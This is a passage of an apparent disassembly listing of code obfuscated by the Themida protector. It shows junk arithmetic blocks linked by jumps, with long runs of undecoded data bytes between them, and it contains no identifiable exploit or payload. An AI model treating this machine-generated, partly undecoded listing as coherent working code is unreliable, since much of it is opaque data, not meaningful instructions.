		mov	esi, ebp
		pop	ebp
		jmp	loc_645D39
; ---------------------------------------------------------------------------


loc_63E1BE:				; CODE XREF: Themida_:0063EF23j
		add	ebp, 0FFFFFFFFh
		not	ebp
		push	ecx
		mov	ecx, 6F411C95h
		sub	ecx, 67854142h
		add	ecx, 14A97C9Ch
		sub	ecx, 40C64107h
		xor	ecx, 13EE172h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_64AC05
; ---------------------------------------------------------------------------


loc_63E1EC:				; CODE XREF: Themida_:0063B8DCj
		mov	ecx, 7B8F614Ah
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_63C4D2
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 18ECBF24h, 0EF8345B5h, 0DD27E901h, 815FFFFFh, 883C06E2h
		dd 6FF28179h, 939F65Eh,	0A213E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63E222:				; CODE XREF: Themida_:00645E28j
		push	edx
		mov	edx, 71A40BC9h
		neg	edx
		sub	edx, 1
		or	edx, 72F0343Fh
		xor	edx, 64317D7Fh
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		add	edx, 9ACA8945h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	3C18h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_63577A
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 4C181h, 0C870000h, 81535C24h,	137A2434h
		dd 0E95E1D98h, 6A05h, 4BEh, 77EF8100h, 553B9328h, 856EAABDh
		dd 7ABA5264h, 81066D7Eh, 6E7B16E2h, 0DDEA8132h,	0E9135B6Ah
		dd 0FFFFC797h, 54243489h, 0FFA5FEE9h, 0BF575CFFh, 4, 7BE9FB01h
		dd 8B00000Ah, 0C4812414h, 4, 0E9C0B60Fh, 0C468h, 1396E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63E2D2:				; CODE XREF: Themida_:0063DF79j
		push	ebx
		sub	esp, 4
		jmp	loc_6441CB
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2, 0FFE4E8E9h, 0F0E955FFh, 89FFFFE8h, 0CBA2414h, 8131C76Dh
		dd 0EA12EC2h, 0B762E9EEh, 81AD0000h, 4ECh, 243C8900h, 880CD7BFh
		dd 0F4CFE96Bh, 0C481FFFFh, 4, 4C17EA81h, 82682110h, 89000072h
		dd 0ACE92404h, 0B90000BBh, 0FFFFFFFFh, 6508E9h,	731CBA00h
		dd 6EE96598h, 29FFFFE5h, 0C7815DEFh, 977370D0h,	0C3E9F929h
		dd 10000B1h, 24348BF3h,	5704C483h, 444FF1BFh, 0FFFB0112h
		dd 835F2434h, 0C38104C4h, 53D81847h, 7679BD55h,	0EB296740h
		dd 81C3295Dh, 407679C3h, 0BA525067h, 53D81847h,	3EE9D089h
		dd 88FFFF7Fh, 58E188F4h, 0E924148Bh, 0FFFFE634h, 0F7241C87h
		dd 9612E9D3h, 0E95CFFFFh, 70BDh, 476E0558h, 0F02948A5h
		dd 0CDE7E951h, 5259FFFFh, 101D4FBAh, 7CF2814Bh,	3169D7E5h
		dd 0E8315AD5h, 471AE9h
		db 0
; ---------------------------------------------------------------------------


loc_63E3CD:				; CODE XREF: Themida_:00647702j
		neg	edi
		shl	edi, 3
		and	edi, 7A84299Bh
		jmp	loc_649602
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 2414895Ch, 0D35388BAh, 75236855h, 0C890000h,	742CB924h
		dd 0B5E94B99h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63E3FB:				; CODE XREF: Themida_:0063D29Cj
		mov	bl, 4Ah
		sub	dh, bl
		pop	ebx
		jmp	loc_644B18
; ---------------------------------------------------------------------------


loc_63E405:				; CODE XREF: Themida_:00635B95j
		xor	ebx, 18202087h
		sub	eax, 776B6776h
		add	eax, ebx
		push	ecx
		mov	ecx, 776B6776h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_63C413
; ---------------------------------------------------------------------------


loc_63E425:				; CODE XREF: Themida_:0063BA63j
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dw 66E9h
		dd 81FFFF71h, 0E116A9F3h, 59EB814Dh, 29D5FF5Bh,	7363E9D8h
		dd 0E2810000h, 28C74747h, 4876CA81h, 0F281047Eh, 247F4D74h
		dd 815AD589h, 4ECh, 0AC0CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63E472:				; CODE XREF: Themida_:00646A8Bj
		push	ecx
		push	edx
		push	12383C5Ch
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 2E835B46h
		and	edx, 6D9E59F8h
		xor	edx, 624C4F0Ch
		add	edx, 16900D73h
		jmp	loc_637B38
; ---------------------------------------------------------------------------
		db 53h
		dd 0E9517FB7h, 2439h
; ---------------------------------------------------------------------------


loc_63E4A8:				; CODE XREF: Themida_:00636103j
		mov	edi, edx
		pop	edx
		add	edi, 0B3B41EBBh
		push	edi
		jmp	loc_639B37
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EC8003E4h, 7EC803Eh, 0EC80DCF6h, 8BE1882Bh,	0C4832404h
		dd 8E1C004h, 816EC180h,	4ECh, 24048900h, 4EC8153h, 0E9000000h
		dd 0
		dd 88240489h, 0C18851C8h, 0B6E9CB88h, 0D10000AEh, 3E7C1E7h
		dd 0F781DFF7h, 0BDE05867h, 685FF931h, 547Bh, 0BE243489h
		dd 1F1D2C1Ah, 0FD4FEE81h, 0E981F749h, 1595072Dh, 0C181F101h
		dd 1595072Dh, 0BCD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_63E52D:				; CODE XREF: Themida_:0064006Fj
		pop	ecx
		jmp	loc_6453DE
; ---------------------------------------------------------------------------
		db 5Fh
		dd 1D10CEBDh, 5BDD317Ch, 3DE9D5F7h, 0BEFFFF7Bh,	71D96B71h
		dd 3C8BFE31h, 0E7895724h, 4C781h, 0C7830000h, 74FF5704h
		dd 9FE90424h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63E563:				; CODE XREF: Themida_:00641167j
		push	edx
		push	esp
		push	dword ptr [esp]
		jmp	loc_63D502
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 8B5C2434h, 0E9502434h, 819Fh, 8032B551h
		dd 0EB0028EDh, 10E95059h, 0BDFFFFFFh, 4, 815DEF89h, 8831D6EAh
		dd 81FA010Eh, 8831D6C2h, 92ACE90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63E5AA:				; CODE XREF: Themida_:0063FD05j
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_63957C
		sub	esp, 4
		mov	[esp], eax
		push	44AEh
		mov	[esp], esi
		push	4363113Eh
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0CD34463h
		jmp	loc_63E875
; ---------------------------------------------------------------------------


loc_63E5DC:				; CODE XREF: Themida_:0063C602j
		sub	eax, ebx
		jmp	loc_63B237
; ---------------------------------------------------------------------------


loc_63E5E3:				; CODE XREF: Themida_:00649758j
		mov	esp, [esp]
		push	35AFh
		mov	[esp], eax
		jmp	loc_63CDD9
; ---------------------------------------------------------------------------


loc_63E5F3:				; CODE XREF: Themida_:00640758j
		or	edx, eax
		jmp	loc_63CD3C
; ---------------------------------------------------------------------------


loc_63E5FA:				; CODE XREF: Themida_:0063B182j
		pop	eax
		push	ebx
		mov	ebx, esp
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_639387
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812434h, 4, 0BA241489h, 3B795FBEh, 81DAF742h, 795FC3C2h
		dd 0D383E93Bh, 0E95CFFFFh, 0FFFF9ED8h, 0FCE9E828h, 4F0000B6h
		dd 3274E781h, 0D7F74AD8h, 0CD87EF81h, 0D1E9B5BFh, 5F000089h
		dd 55668h, 24048900h, 42474FFh,	24048F58h, 0F24248Bh, 9C2404A3h
		dd 0FF6F38E9h, 59C829FFh, 52243C8Bh, 77C6E9h, 44D6B900h
		dd 0F1814B91h, 18315077h, 4A01E949h, 0C2810000h, 210D16C1h
		dd 2920E9h, 4E9C000h, 2C32C180h, 4C82891h, 0A72DE991h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63E6A6:				; CODE XREF: Themida_:0063CA94j
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_64A797
; ---------------------------------------------------------------------------
		dd 8B66F500h, 0C4812414h, 2, 88C5C580h,	0F13059EEh, 0A4E95A66h
		dd 810000B4h, 0E86084C2h, 173DE91Ah, 505A0000h,	65E9FBB4h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63E6E3:				; CODE XREF: Themida_:00643562j
		dec	ebp
		not	ebp
		jmp	loc_63A744
; ---------------------------------------------------------------------------
		db 31h
		dd 0EB815EF3h, 17A95693h, 71A9E9h, 0C1D9F700h, 0C18106E1h
		dd 57D6778Ah, 8159CD09h, 0C971F9F5h, 78DDE9E4h,	0E3890000h
		dd 4C381h, 0B9510000h, 4, 0D01E9h, 44C38000h, 0AFD6E9h
		db 0
; ---------------------------------------------------------------------------


loc_63E72D:				; CODE XREF: Themida_:006385FAj
		add	eax, esi
		sub	eax, 668A3AACh
		pop	esi
		jmp	loc_63744C
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 28646CDAh, 81241C8Bh, 4C4h, 41A2E900h, 34FF0000h, 4EC8387h
		dd 89243C89h, 4C781E7h,	83000000h, 3C8704EFh, 3C895C24h
		dd 2F89BF24h, 6C8117ADh, 41B40424h, 0E5E94843h,	2D000022h
		dd 0B9E4577Dh, 0FFCCC1E9h, 0E3C14BFFh, 64CB8105h, 81591D74h
		dd 0FE664FF3h, 5BDD292Dh, 0BB53D501h, 70E3132Bh, 34FFDD01h
		dd 89505B24h, 405E0h, 0C0830000h, 74FF5004h, 0ECE90424h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63E7BB:				; CODE XREF: Themida_:00648501j
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	al, dl
		jmp	loc_6458E8
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4BB53h, 5C010000h, 0E95B0424h, 237Ah, 4EA81h, 14870000h
		dd 24248B24h, 89243489h, 27A968E6h, 0C890000h, 92685524h
		dd 8B371F6Ah, 0C483242Ch, 96F58104h, 89371F6Ah,	2E48E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63E816:				; CODE XREF: Themida_:006462ACj
		pop	eax
		push	eax
		mov	eax, 4
		jmp	loc_63BA1C
; ---------------------------------------------------------------------------


loc_63E822:				; CODE XREF: Themida_:0064A162j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_63A0D8
; ---------------------------------------------------------------------------
		dd offset dword_447834+34h
		align 2
		dw 8F54h
		dd 0BF572404h, 4, 4247C01h, 83243C8Bh, 48F04C4h, 0B9515024h
		dd 4, 8159C889h, 6804246Ch, 814FE741h, 6F042444h, 81417930h
		dd 0D2042444h, 115D637h, 55042444h, 0FF8B4AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63E875:				; CODE XREF: Themida_:0063E5D7j
		inc	eax
		jmp	loc_63DA05
; ---------------------------------------------------------------------------
		db 68h
		dd 4001h, 57243489h, 0D96B75BFh, 0FCB5E971h, 348BFFFFh
		dd 4C48324h, 45DE68h, 24148900h, 477BBF57h, 0E7812210h
		dd 2BC047F8h, 58CBEF81h, 0C7810570h, 102805F4h,	8E31EF81h
		dd 0D7F7FBE0h, 0CFF574Fh, 0F7815F24h, 0A2348310h, 9E4FE9h
		dd 73E95600h, 50FFFFF4h, 529BB551h, 0D088EA88h,	240C8B5Ah
		dd 4C481h, 0C2000000h, 28312C58h, 0AA6EE9D0h, 0C1FE0000h
		dd 0C037B252h, 0DAF607EAh, 0F280DAF6h, 4F5AE941h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63E906:				; CODE XREF: Themida_:006446F9j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_64556F
; ---------------------------------------------------------------------------


loc_63E914:				; CODE XREF: Themida_:0063A70Cj
		inc	eax
		jmp	loc_640CFF
; ---------------------------------------------------------------------------


loc_63E91A:				; CODE XREF: Themida_:00638A44j
		add	ebx, 35824792h
		pop	ebp
		jmp	loc_64A532
; ---------------------------------------------------------------------------


loc_63E926:				; CODE XREF: Themida_:0063D5E2j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_640849
; ---------------------------------------------------------------------------


loc_63E934:				; CODE XREF: Themida_:00647A5Fj
		add	esp, 4
		and	eax, esi
		pop	esi
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, esi
		jmp	loc_646E62
; ---------------------------------------------------------------------------


loc_63E946:				; CODE XREF: Themida_:006417A3j
		mov	ecx, 407E484Ah
		sub	ecx, 0E6352D67h
		or	eax, ecx
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 759F4351h
		shr	ebp, 1
		inc	ebp
		add	ebp, 45D4E25Ah
		push	edx
		mov	edx, 43222148h
		sub	edx, 34677C13h
		xor	edx, 44C0C920h
		add	eax, edx
		pop	edx
		add	eax, ebp
		sub	eax, 4A7A6C15h
		jmp	loc_64534E
; ---------------------------------------------------------------------------


loc_63E999:				; CODE XREF: Themida_:0063FCC9j
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		push	esi
		jmp	loc_640853
; ---------------------------------------------------------------------------
		db 89h
		dd 5D54242Ch, 5D7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_63E9B1:				; CODE XREF: Themida_:006405D6j
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4F0B6946h
		add	esi, 0B0F496BEh
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_63CDF2
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 545C243Ch, 0E924048Fh
		dd 9800h
; ---------------------------------------------------------------------------


loc_63EA00:				; CODE XREF: Themida_:0063D2BBj
		push	ebx
		mov	bl, 83h
		jmp	loc_6405F7
; ---------------------------------------------------------------------------
		dd 0C8BEE28h, 4C48324h,	0F000C62Ch, 6DAFE9h, 2434FF00h
		dd 2F2FE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63EA22:				; CODE XREF: Themida_:006461F9j
		pop	dword ptr [esp]
		jmp	loc_63F7E4
; ---------------------------------------------------------------------------
		dd offset dword_455248+15A20h
		dw 8900h
aIcrsF		db '<$RĔ',0
		align 2
		dw 8B66h
		dd 0EC81240Ch, 4, 68243C89h, 97Ah, 24048F54h, 0E904EC83h
		dd 1D89h, 0C780EFD0h, 5BF9284Fh, 2625E950h, 0F5890000h
		dd 0FFEB015Eh, 2C8B2434h, 4C48124h, 81000000h, 4C4h, 83EB0100h
		dd 0C8904ECh, 4CD9B924h, 0CB293E94h, 81240C8Bh,	4C4h, 0A0E95D00h
		dd 68000084h, 3CFA69A1h, 0F7EB815Bh, 0E941977Ch, 0FFFF7719h
		dd 4C481h, 51660000h, 0CB00A8B1h, 240C8B66h, 0FE95457h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63EAC3:				; CODE XREF: Themida_:0064A2BBj
		push	edi
		mov	edi, 88F6ABA8h
		add	eax, 192D1613h
		sub	eax, edi
		push	ecx
		mov	ecx, 248A5166h
		add	ecx, 344D74C8h
		xor	ecx, 41FAD03Dh
		jmp	loc_63D4AF
; ---------------------------------------------------------------------------


loc_63EAE7:				; CODE XREF: Themida_:0063AC57j
		or	ebx, 4CA910C1h
		add	ebx, 0DB20F5E7h
		sub	ecx, ebx
		pop	ebx
		mov	eax, [ecx]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 13331B8Ah
		add	ebp, 6C824A6Bh
		push	ebx
		jmp	loc_637402
; ---------------------------------------------------------------------------
		db 57h
		dd 0BC6FB7BFh, 0D4C7811Ch, 895B9EF0h, 0D8295FFBh, 0E9F0295Bh
		dd 9308h, 8266E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63EB32:				; CODE XREF: Themida_:006356ECj
		and	ebx, 166E0514h
		jmp	loc_6496D8
; ---------------------------------------------------------------------------
		db 4, 0F5h, 2Ch
		dd 3E8C036h, 0FFEEDCE9h, 0F6E586FFh, 80E586D4h,	0D5F691F5h
		dd 5301C580h, 0ED8017B7h, 80FD00C8h, 34FFC8C5h,	241C8B24h
		dd 0CB7E9h, 0E8015B00h,	43D0A05h, 242C8B58h, 6804C483h
		dd 5E4Ch, 81240C89h, 4ECh, 0BA41E900h, 0E9570000h, 63A3h
		dd 9BB5359h, 17C1850h, 6B28E9D9h, 0EBC1FFFFh, 2BE94B05h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63EBAB:				; CODE XREF: Themida_:0063C117j
		pop	esi
		or	esi, 3DB3382Ah
		xor	esi, 7E255D02h
		jmp	loc_648C8C
; ---------------------------------------------------------------------------
aUsa		db 'U%',0
		db 0
; ---------------------------------------------------------------------------


loc_63EBC3:				; CODE XREF: Themida_:006403BCj
		xor	[esp], ecx
		jmp	loc_640243
; ---------------------------------------------------------------------------
		db 5Fh
		dd 31243433h, 34332434h, 6413E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63EBDA:				; CODE XREF: Themida_:00642C89j
		pop	ecx
		push	1B77h
		mov	[esp], eax
		jmp	loc_64A392
; ---------------------------------------------------------------------------


loc_63EBE8:				; CODE XREF: Themida_:00638507j
		xor	ecx, edi
		pop	edi
		jmp	loc_6490B2
; ---------------------------------------------------------------------------
		dd 0E781E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63EBF6:				; CODE XREF: Themida_:0064A060j
		or	ecx, 0F867CEEh
		xor	ecx, 0A1D7E6A0h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, edi
		jmp	loc_637229
; ---------------------------------------------------------------------------
		dd 0F705E3C1h, 0FFEB83D3h, 55AE6855h, 95D020Ah,	0CB815DEBh
		dd 6E601D4h, 75FAF381h,	0BE56CEFFh, 43D86DB7h, 4578C581h
		dd 0C5815C87h, 73C14FB9h, 0ED81F501h, 73C14FB9h, 4578ED81h
		dd 348B5C87h, 4C48124h,	0E9000000h, 0FFFF7AFAh
; ---------------------------------------------------------------------------


loc_63EC60:				; CODE XREF: Themida_:00642604j
		push	edx
		jmp	loc_641E23
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 0D0E18108h, 0C15A6602h, 0D1F703E9h, 74C8E181h, 4A684DFDh
		dd 89000069h, 0E6BF243Ch, 0E9105F2Eh, 3486h, 4807E0C1h
		dd 0AE43205h, 58C78956h, 522DEF81h, 0FB0113F5h,	83243C8Bh
		dd 2BE904C4h, 5800002Ch, 0A6C180h, 0ECE959CAh, 500007Fh
		dd 4, 405h, 4EC8100h, 89000000h, 74FF2404h, 0E9580424h
		dd 0A0B0h
; ---------------------------------------------------------------------------


loc_63ECD4:				; CODE XREF: Themida_:0063D63Aj
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_645085
; ---------------------------------------------------------------------------
aF1F3F1Rithau	db 'f1,$f3,$f1,$RhAU',0
		dd 24048900h, 4B8h, 58C20100h, 2EA81h, 14870000h, 24248B24h
		dd 2B50E9h, 24148900h, 42474FFh, 0FF2434FFh, 565A2434h
		dd 0C681E689h, 4, 8704C683h, 515C2434h,	17DFE954h, 535F0000h
		dd 42474FFh, 0FFB17DE9h, 5EF089FFh, 7835E0D1h, 1BBB560h
		dd 24048BC2h, 104C483h,	0F0EA81FAh, 8121D128h, 0B965A8C2h
		dd 2434FF56h, 4C4835Fh,	0FFAA40E9h, 2CE800FFh, 5DF0E97Ch
		dd 0E9570000h, 7129h, 0BABD555Dh, 8143751Bh, 51084E5h
		dd 0CD81456Eh, 3A5B1D0Dh, 1598C581h, 0F58168DBh, 0AC286F5Dh
		dd 3DE4CD81h, 0CD8149E4h, 78FE0CDDh, 50FFED83h,	405E089h
		dd 0E9000000h, 0FFFFDCB7h, 15DEF89h, 21FAE9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63EDC2:				; CODE XREF: Themida_:00648417j
		mov	ebx, 6EDD6AC0h
		jmp	loc_6378D7
; ---------------------------------------------------------------------------


loc_63EDCC:				; CODE XREF: Themida_:006386A7j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_639E6A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 3F682404h, 89000027h, 0E0892404h, 511AE9h, 0DAC28100h
		dd 8142CD4Eh, 86738BC2h, 14335826h, 24143124h, 0E9241433h
		dd 0BAB0h, 5C240487h, 0B9FAE955h, 0C3810000h, 0CE35BF44h
		dd 631BE956h, 77FF0000h, 874EE940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63EE26:				; CODE XREF: Themida_:006383FBj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	1730h
		jmp	loc_63DC25
; ---------------------------------------------------------------------------
		db 1
		dd 0AEE92404h, 80000026h, 0F4806AECh, 0E94DE997h, 0B252FFFFh
		dd 0D2EA8085h, 88EEC280h, 0D7C7E9D1h, 8141FFFFh, 8F039CC1h
		dd 59CD01F9h, 0FF6990E9h, 5EEC0FFh, 0DB17E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63EE7A:				; CODE XREF: Themida_:00643158j
		dec	ebx
		add	ebx, 2E89A183h
		jmp	loc_649CCA
; ---------------------------------------------------------------------------


loc_63EE86:				; CODE XREF: Themida_:0063B477j
		mov	[esp], edi
		push	ebp
		push	ebp
		jmp	loc_63DB54
; ---------------------------------------------------------------------------
		dd 31241433h, 14332414h, 8685C24h, 8900002Fh, 0BE562404h
		dd 38256D37h, 2EE9F089h, 50000032h, 24048B52h, 5A04C483h
		dd 5CE7835h, 8BC3896Fh,	0C4832404h, 0E9DE2904h,	0FFFFA7BDh
; ---------------------------------------------------------------------------


loc_63EECC:				; CODE XREF: Themida_:0063A888j
		add	esp, 4
		xor	esi, edx
		pop	edx
		jmp	loc_64155C
; ---------------------------------------------------------------------------


loc_63EEDA:				; CODE XREF: Themida_:0063FE92j
		sub	edi, ebx
		pop	ebx
		not	edi
		xor	edi, 0D5ECD954h
		add	ebx, 11696AD9h
		jmp	loc_63B5F2
; ---------------------------------------------------------------------------
		dd offset dword_5F3554+14h
		dd 242C8900h, 9079C468h, 242C8B76h, 0E904C483h,	2909h
		dd 2BDB6856h, 8F540000h, 0BD552404h, 4,	0FFD0C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63EF1D:				; CODE XREF: Themida_:006495FDj
		and	ebp, 151B07CCh
		jmp	loc_63E1BE
; ---------------------------------------------------------------------------
		dd 4C481h, 525D0000h, 0EB283DBAh, 0ABF7E953h, 0C481FFFFh
		dd 4, 4246C01h,	767BE9h
		db 0
; ---------------------------------------------------------------------------


loc_63EF49:				; CODE XREF: Themida_:006489FEj
		mov	esp, [esp]
		jmp	loc_647E71
; ---------------------------------------------------------------------------


loc_63EF51:				; CODE XREF: Themida_:00647FB9j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_63D7A9
; ---------------------------------------------------------------------------
		dd 4B850h, 0C2010000h, 0A09CE9h
		db 0
; ---------------------------------------------------------------------------


loc_63EF69:				; CODE XREF: Themida_:00636900j
		add	esp, 4
		push	eax
		mov	eax, 17974E06h
		jmp	loc_63B3BB
; ---------------------------------------------------------------------------
		db 68h
		dd 42EB17B1h, 2851E95Bh, 0F8310000h, 5F2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_636B44
; ---------------------------------------------------------------------------
		dd 0FFC3815Bh, 81FFFFFFh, 25F8B0EBh, 5BDD8923h,	48BEC581h
		dd 0C581045Dh, 4051841Ah, 8B5DEB29h, 0C483240Ch, 0D602E904h
		dd 0E95CFFFFh, 0FFFFAD01h
; ---------------------------------------------------------------------------


loc_63EFC0:				; CODE XREF: Themida_:00648E24j
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		push	esi
		mov	esi, 372623BBh
		mov	ebx, 306F0FBCh
		add	ebx, esi
		jmp	loc_638149
; ---------------------------------------------------------------------------


loc_63EFDB:				; CODE XREF: Themida_:0063BC7Cj
		sub	edi, 0CCB3FD0h
		inc	edi
		push	ebx
		mov	ebx, 2E4E330Dh
		sub	edi, ebx
		pop	ebx
		jmp	loc_643174
; ---------------------------------------------------------------------------
		dd 67E9DE01h, 89FFFFD2h, 0B850241Ch, 56A43AB7h,	0C231D031h
		dd 0D2F7D031h, 0FFFEA2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63F00D:				; CODE XREF: Themida_:00648CFAj
		pop	ebx
		jmp	loc_6393E7
; ---------------------------------------------------------------------------
		db 81h
		dd 0FB57B5C6h, 81DE015Ch, 0FB57B5EEh, 241C8B5Ch, 4C481h
		dd 59680000h, 89000044h, 0B951242Ch, 2BE93FFFh,	57C98149h
		dd 41628F0Bh, 0C181D9F7h, 6BEF4004h, 0E959CD89h, 0FFFFC5EFh
		dd 4C181h, 55560000h, 2459EC68h, 242C8B0Fh, 8104C483h
		dd 0DBA616C5h, 818FE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63F06E:				; CODE XREF: Themida_:006388A6j
		mov	ecx, esp
		push	edx
		push	edi
		jmp	loc_636CBA
; ---------------------------------------------------------------------------


loc_63F077:				; CODE XREF: Themida_:0063C39Dj
		push	ax
		pushf
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0CC8FED8h, 0E96B0410h, 8205h, 7CC9EB81h, 0EB817400h
		dd 310D41DCh, 0C381C329h, 310D41DCh, 7CC9B951h,	0CB017400h
		dd 34E9E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63F0AE:				; CODE XREF: Themida_:0063DB03j
		push	ecx
		push	eax
		mov	eax, 7EBA2036h
		mov	ecx, eax
		pop	eax
		jmp	loc_63FCA5
; ---------------------------------------------------------------------------
		align 2
		dw 0E9F0h
		dd 0FFFF8CF7h, 11E6C381h, 875E3092h, 0B7E9241Ch, 5A000096h
		dd 4EC81h, 34890000h, 1552BE24h, 25683BEDh, 89000005h
		dd 0EBBD242Ch, 0C14ECB48h, 505308EDh, 0C226E951h, 0B353FFFFh
		dd 0E9DD08E0h, 82E4h
; ---------------------------------------------------------------------------


loc_63F104:				; CODE XREF: Themida_:006403F0j
		sub	ecx, 79B615C9h
		add	ecx, ebp
		add	ecx, 79B615C9h
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		jmp	loc_63D204
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 5C240487h, 0FF7F1CE9h, 241C33FFh, 33241C31h
		dd 665C241Ch, 68240C8Bh, 6A7h, 54240C89h, 31BB5359h, 6815A139h
		dd 6973h, 0B8240489h, 15A1392Dh, 7495E9h
		db 0
; ---------------------------------------------------------------------------


loc_63F165:				; CODE XREF: Themida_:00641922j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_63CBB1
; ---------------------------------------------------------------------------
		dd 8159CF01h, 0F35128EBh, 81FB017Ch, 0F35128C3h, 0EC815F7Ch
		dd 4, 0E9240489h, 5E1Ah
; ---------------------------------------------------------------------------


loc_63F190:				; CODE XREF: Themida_:00643F7Aj
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_64A9F5
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 74515CF5h, 7134E9h, 94C28100h, 8906E673h, 2BE95AD7h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63F1B7:				; CODE XREF: Themida_:0063B696j
		xor	ecx, offset dword_510010
		jmp	loc_649305
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 9435E9h, 0FFC18300h, 0E1D1D1F7h, 0B8FFE981h
		dd 8952147Fh, 7DE8E9CAh, 0ED80FFFFh, 59E82898h,	5366D000h
		dd 88C6B252h, 35DEE9D3h, 0E9410000h, 0FFFFA311h
; ---------------------------------------------------------------------------


loc_63F1FC:				; CODE XREF: Themida_:006465BFj
		mov	esp, [esp]


loc_63F1FF:				; CODE XREF: Themida_:0064293Bj
					; Themida_:00642D65j
		push	dword ptr [esp]
		jmp	loc_647514
; ---------------------------------------------------------------------------
		db 8Bh
		dd 41E92414h, 8300002Fh, 1C8704EBh, 0C895C24h, 28AEB524h
		dd 240C8BE8h, 6604C483h, 0A1B652h, 285A66F0h, 66A12CD8h
		dd 4AEB252h, 2CD000C6h,	148B66C6h, 2C48324h, 0B2522D04h
		dd 6F69E9CAh, 0C3010000h, 2EB8158h, 87000000h, 665C241Ch
		dd 0E9243C89h, 0BA07h, 8B240C33h, 48F2424h, 4EE95524h
		dd 8300003Eh, 148904ECh, 64685524h, 5D64B00Ah, 0EDC1DDF7h
		dd 3590E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


